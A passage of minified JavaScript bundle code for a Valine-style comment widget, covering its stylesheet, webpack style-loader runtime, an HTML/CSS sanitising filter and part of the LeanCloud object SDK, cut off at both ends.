{\n padding: 1em 1em 0;\n width: 100%;\n background: var(--background);\n border: none;\n resize: none;\n min-height: 6em;\n margin: 0; }\n .valine .vinputs-area .textarea-wrapper textarea:focus {\n border-color: var(--border-color);\n outline: 0; }\n .valine .vinputs-area .trigger-section {\n display: none; }\n .valine .vinputs-area .auth-section {\n display: -webkit-box;\n display: flex;\n display: -ms-flexbox;\n background: var(--background-secondary);\n padding: .3em .6em; }\n .valine .vinputs-area .auth-section .input-wrapper {\n -ms-flex: 1 1 27%;\n -webkit-box-flex: 1;\n flex: 1 1 27%;\n width: 27%; }\n .valine .vinputs-area .auth-section .input-wrapper input {\n color: var(--color-secondary);\n background: var(--background-secondary);\n border: none;\n border-radius: 0;\n padding: .6em;\n margin: 0;\n line-height: 2;\n font-size: 1em !important; }\n .valine .vinputs-area .auth-section .input-wrapper input:focus {\n border-color: var(--border-color);\n outline: 0; }\n .valine .vinputs-area .auth-section input {\n width: 100%; }\n .valine .vinputs-area .auth-section .post-action {\n -ms-flex: 1 1 19%;\n -webkit-box-flex: 1;\n flex: 1 1 19%;\n width: 19%;\n margin: 0;\n padding: 2px 0 0; }\n .valine .vinputs-area .auth-section .post-action button {\n color: var(--background);\n width: 100%;\n line-height: 2;\n font-weight: bolder;\n border-radius: 30px;\n border: 1px solid var(--border-color);\n background-color: var(--ghost-accent-color);\n padding: .4em .5em;\n -webkit-appearance: none;\n -moz-appearance: none;\n appearance: none;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n font-size: 1em !important; }\n .valine .vinputs-area .auth-section .post-action button:hover {\n background-color: #668aaa; }\n @media screen and (max-width: 720px) {\n .valine .vinputs-area .auth-section {\n display: block; }\n .valine .vinputs-area .auth-section .input-wrapper, .valine .vinputs-area .auth-section .post-action {\n -ms-flex: 1 1 100%;\n -webkit-box-flex: 1;\n flex: 1 1 100%;\n padding-right: 0;\n width: 100%; } }\n .valine .vinputs-area .vmark {\n position: absolute;\n background: var(--color);\n width: 100%;\n height: 100%;\n left: 0;\n top: 0; }\n .valine .vinputs-area .vmark .valert {\n padding: 2em 0 0 0; }\n .valine .vinputs-area .vmark .valert .vtext {\n color: var(--background);\n padding: 15px; }\n .valine .vinputs-area .vmark .valert .vcode {\n width: 75px;\n border-radius: 5px;\n background: var(--background-secondary); }\n .valine .vinputs-area .vmark .valert .vcode:focus {\n background-color: var(--background); }\n @media screen and (max-width: 720px) {\n .valine .vinputs-area .vmark .valert {\n padding: 8em 0; }\n .valine .vinputs-area .vmark .valert .vtext {\n color: var(--background);\n padding: 10px; } }\n .valine .info {\n margin: 2em 0;\n font-size: 16px;\n line-height: 1;\n position: relative;\n text-align: center; }\n .valine .info::before {\n display: block;\n content: \'\';\n border-top: 1px solid var(--border-color);\n margin: 0 25%;\n position: relative;\n top: 10px;\n z-index: 1; }\n .valine .info svg {\n margin-right: 2px;\n overflow: hidden;\n fill: currentColor; }\n .valine .info .col {\n display: inline-block;\n padding: 0 20px;\n position: relative;\n background: var(--background);\n z-index: 2; }\n .valine .power {\n color: var(--color-secondary);\n font-size: 0.625em !important;\n position: relative; }\n .valine a {\n color: #3eb0ef;\n text-decoration: none;\n border: none; }\n .valine .txt-center {\n text-align: center; }\n .valine .float-right {\n float: right !important; }\n .valine .pd5 {\n padding: 5px; }\n .valine .pd10 {\n padding: 10px; }\n .valine .vbtn {\n display: inline-block;\n -webkit-appearance: none;\n -moz-appearance: none;\n appearance: none;\n border: 1px solid var(--border-color);\n background-color: var(--color);\n border-radius: .1em;\n color: var(--background);\n padding: .5em 1.5em;\n cursor: pointer;\n white-space: nowrap;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n outline: none;\n min-width: 60px;\n max-width: 100%;\n margin: 0 1em; }\n .valine .vbtn:active,\n .valine .vbtn:hover {\n border-color: var(--border-color); }\n .valine .vpage {\n margin: 1.5em 0; }\n .valine .vpage .more {\n width: 100%;\n height: 2.5em;\n line-height: 2.5em;\n text-align: center;\n cursor: pointer;\n color: var(--color);\n background: var(--background-secondary);\n border-radius: 1.25em; }\n .valine .vlist {\n width: 100%;\n list-style: none;\n margin: 0;\n padding: 0; }\n .valine .vlist .vcard {\n list-style: none;\n word-break: break-all; }\n .valine .vlist .vcard .vcomment-body {\n padding: 2em .5em 2em;\n border-top: 1px solid rgba(150, 150, 150, 0.08); }\n @media screen and (max-width: 600px) {\n .valine .vlist .vcard .vcomment-body {\n padding: 1em 1em 1em;\n border-top: 0 !important; } }\n .valine .vlist .vcard .vcomment-body:hover .vat {\n background: var(--color) !important; }\n .valine .vlist .vcard .vcomment-body .vat {\n float: right;\n background: transparent;\n color: var(--background-secondary);\n padding: .2em 1em;\n line-height: 1.2;\n cursor: pointer;\n word-break: keep-all;\n white-space: nowrap;\n text-transform: uppercase; }\n .valine .vlist .vcard .vcomment-body .vavatar {\n margin-right: 1em;\n margin-top: 0.3em;\n display: inline-block;\n height: 40px;\n width: 40px;\n position: absolute;\n top: 0;\n border-radius: 50%; }\n .valine .vlist .vcard .vcomment-body .vhead {\n line-height: 1;\n display: block;\n margin-bottom: .3em;\n position: relative; }\n .valine .vlist .vcard .vcomment-body .vhead .vmeta-info {\n margin: 0 0 0 50px; }\n .valine .vlist .vcard .vcomment-body .vhead .vname {\n font-weight: 400;\n font-size: 1em;\n color: #5F6469; }\n .valine .vlist .vcard .vcomment-body .vhead .vmeta-info a {\n font-weight: 500;\n color: var(--color); }\n .valine .vlist .vcard .vcomment-body .vhead .vmeta-info a:hover {\n font-weight: 500;\n color: #3eb0ef; }\n .valine .vlist .vcard .vcomment-body .vhead .spacer {\n color: var(--color-secondary);\n margin-left: 0.3em;\n margin-right: 0.3em; }\n .valine .vlist .vcard .vcomment-body .vhead .vtime, .valine .vlist .vcard .vcomment-body .vhead .ipaddr {\n color: var(--color-secondary);\n display: inline-block;\n font-weight: normal;\n font-size: 80%; }\n .valine .vlist .vcard .vcomment-body .text-wrapper {\n overflow: hidden;\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n margin-left: 50px; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment {\n position: relative;\n overflow: auto;\n color: var(--color); }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment blockquote p {\n padding-left: 12px; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment p {\n word-wrap: break-word;\n white-space: pre-wrap;\n word-break: break-all;\n text-align: justify;\n line-height: 1.8; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment pre {\n overflow: auto;\n padding: 6px 10px;\n word-wrap: break-word;\n color: var(--color-secondary);\n background: var(--background-secondary);\n border-radius: 3px;\n font-size: .875rem;\n margin: 5px 0; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment.expand {\n cursor: pointer;\n max-height: 11.25rem;\n overflow: hidden; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment.expand:before {\n display: block;\n content: "";\n position: absolute;\n width: 100%;\n left: 0;\n top: 0;\n bottom: 3.15rem;\n pointer-events: none; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment.expand:after {\n display: block;\n content: "";\n text-align: center;\n color: var(--color-secondary);\n position: absolute;\n width: 100%;\n height: 3.15rem;\n line-height: 3.15rem;\n left: 0;\n bottom: 0;\n pointer-events: none; }\n .valine .vlist .vcard .vcomment-children {\n margin-left: 48px; }\n @media screen and (max-width: 600px) {\n .valine .vlist .vcard .vcomment-children {\n margin-left: 16px;\n border-left: 1px solid var(--border-color); } }\n .valine .vlist .vcard .vcomment-children .vshow-children-wrapper {\n margin: 0 0 2em; }\n .valine .vlist .vcard .vcomment-children .vshow-children-wrapper .vshow-children {\n color: var(--color-secondary);\n text-decoration: underline;\n cursor: pointer; }\n .valine .vlist .vempty {\n padding: 20px;\n text-align: center;\n color: var(--color-secondary); }\n .valine .spinner {\n margin: 10px auto;\n width: 50px;\n height: 30px;\n text-align: center;\n font-size: 10px; }\n .valine .spinner > div {\n background-color: var(--background-secondary);\n height: 100%;\n width: 6px;\n margin-right: 3px;\n display: inline-block;\n -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out;\n animation: sk-stretchdelay 1.2s infinite ease-in-out; }\n .valine .spinner .r2 {\n -webkit-animation-delay: -1.1s;\n animation-delay: -1.1s; }\n .valine .spinner .r3 {\n -webkit-animation-delay: -1.0s;\n animation-delay: -1.0s; }\n .valine .spinner .r4 {\n -webkit-animation-delay: -0.9s;\n animation-delay: -0.9s; }\n .valine .spinner .r5 {\n -webkit-animation-delay: -0.8s;\n animation-delay: -0.8s; }\n\n@-webkit-keyframes sk-stretchdelay {\n 0%,\n 40%,\n 100% {\n -webkit-transform: scaleY(0.4); }\n 20% {\n -webkit-transform: scaleY(1); } }\n\n@keyframes sk-stretchdelay {\n 0%,\n 40%,\n 100% {\n transform: scaleY(0.4);\n -webkit-transform: scaleY(0.4); }\n 20% {\n transform: scaleY(1);\n -webkit-transform: scaleY(1); } }\n .valine .vcomment .at {\n color: var(--color-secondary);\n font-weight: 300; }\n .valine .vcomment .at:hover {\n color: #3eb0ef; }\n',""])},function(e,t){function n(e,t){var n=e[1]||"",i=e[3];if(!i)return n;if(t&&"function"==typeof btoa){var o=r(i);return[n].concat(i.sources.map(function(e){return"/*# sourceURL="+i.sourceRoot+e+" */"})).concat([o]).join("\n")}return[n].join("\n")}function r(e){return"/*# sourceMappingURL=data:application/json;charset=utf-8;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(e))))+" */"}e.exports=function(e){var t=[];return t.toString=function(){return this.map(function(t){var r=n(t,e);return t[2]?"@media "+t[2]+"{"+r+"}":r}).join("")},t.i=function(e,n){"string"==typeof e&&(e=[[null,e,""]]);for(var r={},i=0;i<this.length;i++){var o=this[i][0];"number"==typeof o&&(r[o]=!0)}for(i=0;i<e.length;i++){var s=e[i];"number"==typeof s[0]&&r[s[0]]||(n&&!s[2]?s[2]=n:n&&(s[2]="("+s[2]+") and ("+n+")"),t.push(s))}},t}},function(e,t,n){function r(e){return void 0===e||null===e}function i(e){var t={};for(var n in e)t[n]=e[n];return t}function o(e){e=i(e||{}),e.whiteList=e.whiteList||s.whiteList,e.onAttr=e.onAttr||s.onAttr,e.onIgnoreAttr=e.onIgnoreAttr||s.onIgnoreAttr,e.safeAttrValue=e.safeAttrValue||s.safeAttrValue,this.options=e}var s=n(2),a=n(15);n(3);o.prototype.process=function(e){if(e=e||"",!(e=e.toString()))return"";var t=this,n=t.options,i=n.whiteList,o=n.onAttr,s=n.onIgnoreAttr,u=n.safeAttrValue;return a(e,function(e,t,n,a,c){var l=i[n],f=!1;if(!0===l?f=l:"function"==typeof l?f=l(a):l instanceof RegExp&&(f=l.test(a)),!0!==f&&(f=!1),a=u(n,a)){var h={position:t,sourcePosition:e,source:c,isWhite:f};if(f){var d=o(n,a,h);return r(d)?n+":"+a:d}var d=s(n,a,h);return r(d)?void 0:d}})},e.exports=o},function(e,t,n){function r(e,t){function n(){if(!o){var n=i.trim(e.slice(s,a)),r=n.indexOf(":");if(-1!==r){var c=i.trim(n.slice(0,r)),l=i.trim(n.slice(r+1));if(c){var f=t(s,u.length,c,l,n);f&&(u+=f+"; ")}}}s=a+1}e=i.trimRight(e),";"!==e[e.length-1]&&(e+=";");for(var r=e.length,o=!1,s=0,a=0,u="";a<r;a++){var c=e[a];if("/"===c&&"*"===e[a+1]){var l=e.indexOf("*/",a+2);if(-1===l)break;a=l+1,s=a+1,o=!1}else"("===c?o=!0:")"===c?o=!1:";"===c?o||n():"\n"===c&&n()}return i.trim(u)}var i=n(3);e.exports=r},function(e,t){function n(){throw new Error("setTimeout has not been defined")}function r(){throw new Error("clearTimeout has not been defined")}function i(e){if(l===setTimeout)return setTimeout(e,0);if((l===n||!l)&&setTimeout)return l=setTimeout,setTimeout(e,0);try{return l(e,0)}catch(t){try{return l.call(null,e,0)}catch(t){return l.call(this,e,0)}}}function o(e){if(f===clearTimeout)return clearTimeout(e);if((f===r||!f)&&clearTimeout)return f=clearTimeout,clearTimeout(e);try{return f(e)}catch(t){try{return f.call(null,e)}catch(t){return f.call(this,e)}}}function s(){v&&d&&(v=!1,d.length?p=d.concat(p):g=-1,p.length&&a())}function a(){if(!v){var e=i(s);v=!0;for(var t=p.length;t;){for(d=p,p=[];++g<t;)d&&d[g].run();g=-1,t=p.length}d=null,v=!1,o(e)}}function u(e,t){this.fun=e,this.array=t}function c(){}var l,f,h=e.exports={};!function(){try{l="function"==typeof setTimeout?setTimeout:n}catch(e){l=n}try{f="function"==typeof clearTimeout?clearTimeout:r}catch(e){f=r}}();var d,p=[],v=!1,g=-1;h.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];p.push(new u(e,t)),1!==p.length||v||i(a)},u.prototype.run=function(){this.fun.apply(null,this.array)},h.title="browser",h.browser=!0,h.env={},h.argv=[],h.version="",h.versions={},h.on=c,h.addListener=c,h.once=c,h.off=c,h.removeListener=c,h.removeAllListeners=c,h.emit=c,h.prependListener=c,h.prependOnceListener=c,h.listeners=function(e){return[]},h.binding=function(e){throw new Error("process.binding is not supported")},h.cwd=function(){return"/"},h.chdir=function(e){throw new Error("process.chdir is not supported")},h.umask=function(){return 0}},function(e,t,n){function r(e,t){for(var n=0;n<e.length;n++){var r=e[n],i=p[r.id];if(i){i.refs++;for(var o=0;o<i.parts.length;o++)i.parts[o](r.parts[o]);for(;o<r.parts.length;o++)i.parts.push(l(r.parts[o],t))}else{for(var s=[],o=0;o<r.parts.length;o++)s.push(l(r.parts[o],t));p[r.id]={id:r.id,refs:1,parts:s}}}}function i(e,t){for(var n=[],r={},i=0;i<e.length;i++){var o=e[i],s=t.base?o[0]+t.base:o[0],a=o[1],u=o[2],c=o[3],l={css:a,media:u,sourceMap:c};r[s]?r[s].parts.push(l):n.push(r[s]={id:s,parts:[l]})}return n}function o(e,t){var n=g(e.insertInto);if(!n)throw new Error("Couldn't find a style target. This probably means that the value for the 'insertInto' parameter is invalid.");var r=y[y.length-1];if("top"===e.insertAt)r?r.nextSibling?n.insertBefore(t,r.nextSibling):n.appendChild(t):n.insertBefore(t,n.firstChild),y.push(t);else{if("bottom"!==e.insertAt)throw new Error("Invalid value for parameter 'insertAt'. Must be 'top' or 'bottom'.");n.appendChild(t)}}function s(e){if(null===e.parentNode)return!1;e.parentNode.removeChild(e);var t=y.indexOf(e);t>=0&&y.splice(t,1)}function a(e){var t=document.createElement("style");return e.attrs.type="text/css",c(t,e.attrs),o(e,t),t}function u(e){var t=document.createElement("link");return e.attrs.type="text/css",e.attrs.rel="stylesheet",c(t,e.attrs),o(e,t),t}function c(e,t){Object.keys(t).forEach(function(n){e.setAttribute(n,t[n])})}function l(e,t){var n,r,i,o;if(t.transform&&e.css){if(!(o=t.transform(e.css)))return function(){};e.css=o}if(t.singleton){var c=_++;n=m||(m=a(t)),r=f.bind(null,n,c,!1),i=f.bind(null,n,c,!0)}else e.sourceMap&&"function"==typeof URL&&"function"==typeof URL.createObjectURL&&"function"==typeof URL.revokeObjectURL&&"function"==typeof Blob&&"function"==typeof btoa?(n=u(t),r=d.bind(null,n,t),i=function(){s(n),n.href&&URL.revokeObjectURL(n.href)}):(n=a(t),r=h.bind(null,n),i=function(){s(n)});return r(e),function(t){if(t){if(t.css===e.css&&t.media===e.media&&t.sourceMap===e.sourceMap)return;r(e=t)}else i()}}function f(e,t,n,r){var i=n?"":r.css;if(e.styleSheet)e.styleSheet.cssText=w(t,i);else{var o=document.createTextNode(i),s=e.childNodes;s[t]&&e.removeChild(s[t]),s.length?e.insertBefore(o,s[t]):e.appendChild(o)}}function h(e,t){var n=t.css,r=t.media;if(r&&e.setAttribute("media",r),e.styleSheet)e.styleSheet.cssText=n;else{for(;e.firstChild;)e.removeChild(e.firstChild);e.appendChild(document.createTextNode(n))}}function d(e,t,n){var r=n.css,i=n.sourceMap,o=void 0===t.convertToAbsoluteUrls&&i;(t.convertToAbsoluteUrls||o)&&(r=b(r)),i&&(r+="\n/*# sourceMappingURL=data:application/json;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(i))))+" */");var s=new Blob([r],{type:"text/css"}),a=e.href;e.href=URL.createObjectURL(s),a&&URL.revokeObjectURL(a)}var p={},v=function(e){var t;return function(){return void 0===t&&(t=e.apply(this,arguments)),t}}(function(){return window&&document&&document.all&&!window.atob}),g=function(e){var t={};return function(n){return void 0===t[n]&&(t[n]=e.call(this,n)),t[n]}}(function(e){return document.querySelector(e)}),m=null,_=0,y=[],b=n(18);e.exports=function(e,t){if("undefined"!=typeof DEBUG&&DEBUG&&"object"!=typeof document)throw new Error("The style-loader cannot be used in a non-browser environment");t=t||{},t.attrs="object"==typeof t.attrs?t.attrs:{},t.singleton||(t.singleton=v()),t.insertInto||(t.insertInto="head"),t.insertAt||(t.insertAt="bottom");var n=i(e,t);return r(n,t),function(e){for(var o=[],s=0;s<n.length;s++){var a=n[s],u=p[a.id];u.refs--,o.push(u)}if(e){r(i(e,t),t)}for(var s=0;s<o.length;s++){var u=o[s];if(0===u.refs){for(var c=0;c<u.parts.length;c++)u.parts[c]();delete p[u.id]}}}};var w=function(){var e=[];return function(t,n){return e[t]=n,e.filter(Boolean).join("\n")}}()},function(e,t){e.exports=function(e){var t="undefined"!=typeof window&&window.location;if(!t)throw new Error("fixUrls requires window.location");if(!e||"string"!=typeof e)return e;var n=t.protocol+"//"+t.host,r=n+t.pathname.replace(/\/[^\/]*$/,"/");return e.replace(/url\s*\(((?:[^)(]|\((?:[^)(]+|\([^)(]*\))*\))*)\)/gi,function(e,t){var i=t.trim().replace(/^"(.*)"$/,function(e,t){return t}).replace(/^'(.*)'$/,function(e,t){return t});if(/^(#|data:|http:\/\/|https:\/\/|file:\/\/\/)/i.test(i))return e;var o;return o=0===i.indexOf("//")?i:0===i.indexOf("/")?n+i:r+i.replace(/^\.\//,""),"url("+JSON.stringify(o)+")"})}},function(e,t){var n;n=function(){return this}();try{n=n||Function("return this")()||(0,eval)("this")}catch(e){"object"==typeof window&&(n=window)}e.exports=n},function(e,t,n){function r(e){return void 0===e||null===e}function i(e){var t=h.spaceIndex(e);if(-1===t)return{html:"",closing:"/"===e[e.length-2]};e=h.trim(e.slice(t+1,-1));var n="/"===e[e.length-1];return n&&(e=h.trim(e.slice(0,-1))),{html:e,closing:n}}function o(e){var t={};for(var n in e)t[n]=e[n];return t}function s(e){e=o(e||{}),e.stripIgnoreTag&&(e.onIgnoreTag&&console.error('Notes: cannot use these two options "stripIgnoreTag" and "onIgnoreTag" at the same time'),e.onIgnoreTag=u.onIgnoreTagStripAll),e.whiteList=e.whiteList||u.whiteList,e.onTag=e.onTag||u.onTag,e.onTagAttr=e.onTagAttr||u.onTagAttr,e.onIgnoreTag=e.onIgnoreTag||u.onIgnoreTag,e.onIgnoreTagAttr=e.onIgnoreTagAttr||u.onIgnoreTagAttr,e.safeAttrValue=e.safeAttrValue||u.safeAttrValue,e.escapeHtml=e.escapeHtml||u.escapeHtml,this.options=e,!1===e.css?this.cssFilter=!1:(e.css=e.css||{},this.cssFilter=new a(e.css))}var a=n(0).FilterCSS,u=n(4),c=n(5),l=c.parseTag,f=c.parseAttr,h=n(1);s.prototype.process=function(e){if(e=e||"",!(e=e.toString()))return"";var t=this,n=t.options,o=n.whiteList,s=n.onTag,a=n.onIgnoreTag,c=n.onTagAttr,d=n.onIgnoreTagAttr,p=n.safeAttrValue,v=n.escapeHtml,g=t.cssFilter;n.stripBlankChar&&(e=u.stripBlankChar(e)),n.allowCommentTag||(e=u.stripCommentTag(e));var m=!1;if(n.stripIgnoreTagBody){var m=u.StripTagBody(n.stripIgnoreTagBody,a);a=m.onIgnoreTag}var _=l(e,function(e,t,n,u,l){var m={sourcePosition:e,position:t,isClosing:l,isWhite:o.hasOwnProperty(n)},_=s(n,u,m);if(!r(_))return _;if(m.isWhite){if(m.isClosing)return"</"+n+">";var y=i(u),b=o[n],w=f(y.html,function(e,t){var i=-1!==h.indexOf(b,e),o=c(n,e,t,i);if(!r(o))return o;if(i)return t=p(n,e,t,g),t?e+'="'+t+'"':e;var o=d(n,e,t,i);return r(o)?void 0:o}),u="<"+n;return w&&(u+=" "+w),y.closing&&(u+=" /"),u+=">"}var _=a(n,u,m);return r(_)?v(u):_},v);return m&&(_=m.remove(_)),_},e.exports=s}])});
7
+ e.exports=function(e){return null!=e&&(n(e)||r(e)||!!e._isBuffer)}},function(e,t,n){"use strict";var r=function(e,t){var n;e.indexOf("base64")<0?n=atob(e):e.split(",")[0].indexOf("base64")>=0?(t=t||e.split(",")[0].split(":")[1].split(";")[0],n=atob(e.split(",")[1])):n=unescape(e.split(",")[1]);for(var r=new Uint8Array(n.length),i=0;i<n.length;i++)r[i]=n.charCodeAt(i);return new Blob([r],{type:t})};e.exports=r},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e,t){return e&&e[t]?d.isFunction(e[t])?e[t]():e[t]:null}var o=n(143),s=r(o),a=n(9),u=r(a),c=n(146),l=r(c),f=n(2),h=r(f),d=n(0),p=n(16),v=n(5),g=v._request,m=n(6),_=m.isNullOrUndefined,y=m.ensureArray,b=m.transformFetchOptions,w=m.setValue,x=m.findValue,A=m.isPlainObject,k=m.continueWhile,O=function e(t){return d.isArray(t)?t.map(e):A(t)?d.mapObject(t,e):d.isObject(t)&&t._toPointer?t._toPointer():t},S=["objectId","createdAt","updatedAt"],E=function(e){if(-1!==S.indexOf(e))throw new Error("key["+e+"] is reserved")},C=function(e){var t=d.find(e,function(e){return e instanceof Error});if(!t)return e;var n=new p(t.code,t.message);throw n.results=e,n};e.exports=function(e){e.Object=function(t,n){if(d.isString(t))return e.Object._create.apply(this,arguments);t=t||{},n&&n.parse&&(t=this.parse(t),t=this._mergeMagicFields(t));var r=i(this,"defaults");r&&(t=d.extend({},r,t)),n&&n.collection&&(this.collection=n.collection),this._serverData={},this._opSetQueue=[{}],this._flags={},this.attributes={},this._hashedJSON={},this._escapedAttributes={},this.cid=d.uniqueId("c"),this.changed={},this._silent={},this._pending={},this.set(t,{silent:!0}),this.changed={},this._silent={},this._pending={},this._hasData=!0,this._previousAttributes=d.clone(this.attributes),this.initialize.apply(this,arguments)},e.Object.saveAll=function(t,n){return e.Object._deepSaveAsync(t,null,n)},e.Object.fetchAll=function(e,t){return h.default.resolve().then(function(){return g("batch",null,null,"POST",{requests:d.map(e,function(e){if(!e.className)throw new Error("object must have className to fetch");if(!e.id)throw new Error("object must have id to fetch");if(e.dirty())throw new Error("object is modified but not saved");return{method:"GET",path:"/1.1/classes/"+e.className+"/"+e.id}})},t)}).then(function(t){var n=d.map(e,function(e,n){if(t[n].success){var r=e.parse(t[n].success);return e._cleanupUnsetKeys(r),e._finishFetch(r),e}return null===t[n].success?new p(p.OBJECT_NOT_FOUND,"Object not found."):new p(t[n].error.code,t[n].error.error)});return C(n)})},d.extend(e.Object.prototype,e.Events,{_fetchWhenSave:!1,initialize:function(){},fetchWhenSave:function(e){if(console.warn("AV.Object#fetchWhenSave is deprecated, use AV.Object#save with options.fetchWhenSave instead."),!d.isBoolean(e))throw new Error("Expect boolean value for fetchWhenSave");this._fetchWhenSave=e},getObjectId:function(){return this.id},getCreatedAt:function(){return this.createdAt},getUpdatedAt:function(){return this.updatedAt},toJSON:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[];return this._toFullJSON(n,!1)},toFullJSON:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return this._toFullJSON(e)},_toFullJSON:function(t){var n=this,r=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=d.clone(this.attributes);if(d.isArray(t))var o=t.concat(this);return e._objectEach(i,function(t,n){i[n]=e._encode(t,o,void 0,r)}),e._objectEach(this._operations,function(e,t){i[t]=e}),d.has(this,"id")&&(i.objectId=this.id),d(["createdAt","updatedAt"]).each(function(e){if(d.has(n,e)){var t=n[e];i[e]=d.isDate(t)?t.toJSON():t}}),r&&(i.__type="Object",d.isArray(t)&&t.length&&(i.__type="Pointer"),i.className=this.className),i},_refreshCache:function(){var t=this;t._refreshingCache||(t._refreshingCache=!0,e._objectEach(this.attributes,function(n,r){n instanceof e.Object?n._refreshCache():d.isObject(n)&&t._resetCacheForKey(r)&&t.set(r,new e.Op.Set(n),{silent:!0})}),delete t._refreshingCache)},dirty:function(e){this._refreshCache();var t=d.last(this._opSetQueue);return e?!!t[e]:!this.id||d.keys(t).length>0},dirtyKeys:function(){this._refreshCache();var e=d.last(this._opSetQueue);return d.keys(e)},_toPointer:function(){return{__type:"Pointer",className:this.className,objectId:this.id}},get:function(e){switch(e){case"objectId":return this.id;case"createdAt":case"updatedAt":return this[e];default:return this.attributes[e]}},relation:function(t){var n=this.get(t);if(n){if(!(n instanceof e.Relation))throw new Error("Called relation() on non-relation field "+t);return n._ensureParentAndKey(this,t),n}return new e.Relation(this,t)},escape:function(e){var t=this._escapedAttributes[e];if(t)return t;var n,r=this.attributes[e];return n=_(r)?"":d.escape(r.toString()),this._escapedAttributes[e]=n,n},has:function(e){return!_(this.attributes[e])},_mergeMagicFields:function(t){var n=this,r=["objectId","createdAt","updatedAt"];return e._arrayEach(r,function(r){t[r]&&("objectId"===r?n.id=t[r]:"createdAt"!==r&&"updatedAt"!==r||d.isDate(t[r])?n[r]=t[r]:n[r]=e._parseDate(t[r]),delete t[r])}),t},_startSave:function(){this._opSetQueue.push({})},_cancelSave:function(){var t=d.first(this._opSetQueue);this._opSetQueue=d.rest(this._opSetQueue);var n=d.first(this._opSetQueue);e._objectEach(t,function(e,r){var i=t[r],o=n[r];i&&o?n[r]=o._mergeWithPrevious(i):i&&(n[r]=i)}),this._saving=this._saving-1},_finishSave:function(t){var n={};e._traverse(this.attributes,function(t){t instanceof e.Object&&t.id&&t._hasData&&(n[t.id]=t)});var r=d.first(this._opSetQueue);this._opSetQueue=d.rest(this._opSetQueue),this._applyOpSet(r,this._serverData),this._mergeMagicFields(t);var i=this;e._objectEach(t,function(t,r){i._serverData[r]=e._decode(t,r);var o=e._traverse(i._serverData[r],function(t){if(t instanceof e.Object&&n[t.id])return n[t.id]});o&&(i._serverData[r]=o)}),this._rebuildAllEstimatedData();var o=this._opSetQueue.map(d.clone);this._refreshCache(),this._opSetQueue=o,this._saving=this._saving-1},_finishFetch:function(t,n){this._opSetQueue=[{}],this._mergeMagicFields(t);var r=this;e._objectEach(t,function(t,n){r._serverData[n]=e._decode(t,n)}),this._rebuildAllEstimatedData(),this._refreshCache(),this._opSetQueue=[{}],this._hasData=n},_applyOpSet:function(t,n){var r=this;e._objectEach(t,function(t,i){var o=x(n,i),s=(0,l.default)(o,3),a=s[0],u=s[1],c=s[2];w(n,i,t._estimate(a,r,i)),u&&u[c]===e.Op._UNSET&&delete u[c]})},_resetCacheForKey:function(t){var n=this.attributes[t];if(d.isObject(n)&&!(n instanceof e.Object)&&!(n instanceof e.File)){var r=(0,u.default)(O(n));if(this._hashedJSON[t]!==r){var i=!!this._hashedJSON[t];return this._hashedJSON[t]=r,i}}return!1},_rebuildEstimatedDataForKey:function(t){var n=this;delete this.attributes[t],this._serverData[t]&&(this.attributes[t]=this._serverData[t]),e._arrayEach(this._opSetQueue,function(r){var i=r[t];if(i){var o=x(n.attributes,t),s=(0,l.default)(o,4),a=s[0],u=s[1],c=s[2],f=s[3];w(n.attributes,t,i._estimate(a,n,t)),u&&u[c]===e.Op._UNSET&&delete u[c],n._resetCacheForKey(f)}})},_rebuildAllEstimatedData:function(){var t=this,n=d.clone(this.attributes);this.attributes=d.clone(this._serverData),e._arrayEach(this._opSetQueue,function(n){t._applyOpSet(n,t.attributes),e._objectEach(n,function(e,n){t._resetCacheForKey(n)})}),e._objectEach(n,function(e,n){t.attributes[n]!==e&&t.trigger("change:"+n,t,t.attributes[n],{})}),e._objectEach(this.attributes,function(e,r){d.has(n,r)||t.trigger("change:"+r,t,e,{})})},set:function(t,n,r){var i;if(d.isObject(t)||_(t)?(i=d.mapObject(t,function(t,n){return E(n),e._decode(t,n)}),r=n):(i={},E(t),i[t]=e._decode(n,t)),r=r||{},!i)return this;i instanceof e.Object&&(i=i.attributes),r.unset&&e._objectEach(i,function(t,n){i[n]=new e.Op.Unset});var o=d.clone(i),s=this;e._objectEach(o,function(t,n){t instanceof e.Op&&(o[n]=t._estimate(s.attributes[n],s,n),o[n]===e.Op._UNSET&&delete o[n])}),this._validate(i,r),r.changes={};var a=this._escapedAttributes;return e._arrayEach(d.keys(i),function(t){var n=i[t];n instanceof e.Relation&&(n.parent=s),n instanceof e.Op||(n=new e.Op.Set(n));var o=!0;n instanceof e.Op.Set&&d.isEqual(s.attributes[t],n.value)&&(o=!1),o&&(delete a[t],r.silent?s._silent[t]=!0:r.changes[t]=!0);var u=d.last(s._opSetQueue);u[t]=n._mergeWithPrevious(u[t]),s._rebuildEstimatedDataForKey(t),o?(s.changed[t]=s.attributes[t],r.silent||(s._pending[t]=!0)):(delete s.changed[t],delete s._pending[t])}),r.silent||this.change(r),this},unset:function(e,t){return t=t||{},t.unset=!0,this.set(e,null,t)},increment:function(t,n){return(d.isUndefined(n)||d.isNull(n))&&(n=1),this.set(t,new e.Op.Increment(n))},add:function(t,n){return this.set(t,new e.Op.Add(y(n)))},addUnique:function(t,n){return this.set(t,new e.Op.AddUnique(y(n)))},remove:function(t,n){return this.set(t,new e.Op.Remove(y(n)))},bitAnd:function(t,n){return this.set(t,new e.Op.BitAnd(n))},bitOr:function(t,n){return this.set(t,new e.Op.BitOr(n))},bitXor:function(t,n){return this.set(t,new e.Op.BitXor(n))},op:function(e){return 